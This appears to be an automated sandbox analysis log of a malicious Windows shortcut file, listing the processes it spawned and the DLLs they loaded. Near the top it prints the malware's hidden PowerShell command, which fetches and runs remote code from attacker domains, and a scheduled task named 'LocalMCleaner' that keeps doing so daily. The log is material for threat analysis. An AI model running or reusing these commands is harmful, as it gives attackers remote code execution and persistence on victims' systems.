Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_q2ivsxxt.i2b.ps1

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: BX7yRz7XqF.lnk

ReversingLabs: Detection: 42%

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLOG -WInDoWST HIDDe -NoeXI -NoprOFILE -noniNtErac -CommaN ping www.nadra.gov.pk; nslookup www.yahoo.com; nslookup www.protonmail.com; start https://pmo.gov.pk/site/404; $id='ftroof.top/'; &('i'+'r'+'m') http://pmofficepakistancloudserver.shi$id/WinSysMgr/\|Powershell
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" www.nadra.gov.pk
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\nslookup.exe "C:\Windows\system32\nslookup.exe" www.yahoo.com
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\nslookup.exe "C:\Windows\system32\nslookup.exe" www.protonmail.com
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://pmo.gov.pk/site/404
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 --field-trial-handle=1916,i,14445282091827991487,7005601379036879201,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /k schtasks /create /sc daily /tn LocalMCleaner /tr "Powershell -WindowStyle Hidden irm http://ofc.mofserviceserver.top/DSCTSC/\|Powershell" /st 10:13 /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /sc daily /tn LocalMCleaner /tr "Powershell -WindowStyle Hidden irm http://ofc.mofserviceserver.top/DSCTSC/\|Powershell" /st 10:13 /f
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.EXE -WindowStyle Hidden irm http://ofc.mofserviceserver.top/DSCTSC/\|Powershell
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" www.nadra.gov.pk	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\nslookup.exe "C:\Windows\system32\nslookup.exe" www.yahoo.com	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\nslookup.exe "C:\Windows\system32\nslookup.exe" www.protonmail.com	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://pmo.gov.pk/site/404	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 --field-trial-handle=1916,i,14445282091827991487,7005601379036879201,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /k schtasks /create /sc daily /tn LocalMCleaner /tr "Powershell -WindowStyle Hidden irm http://ofc.mofserviceserver.top/DSCTSC/\|Powershell" /st 10:13 /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /sc daily /tn LocalMCleaner /tr "Powershell -WindowStyle Hidden irm http://ofc.mofserviceserver.top/DSCTSC/\|Powershell" /st 10:13 /f	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
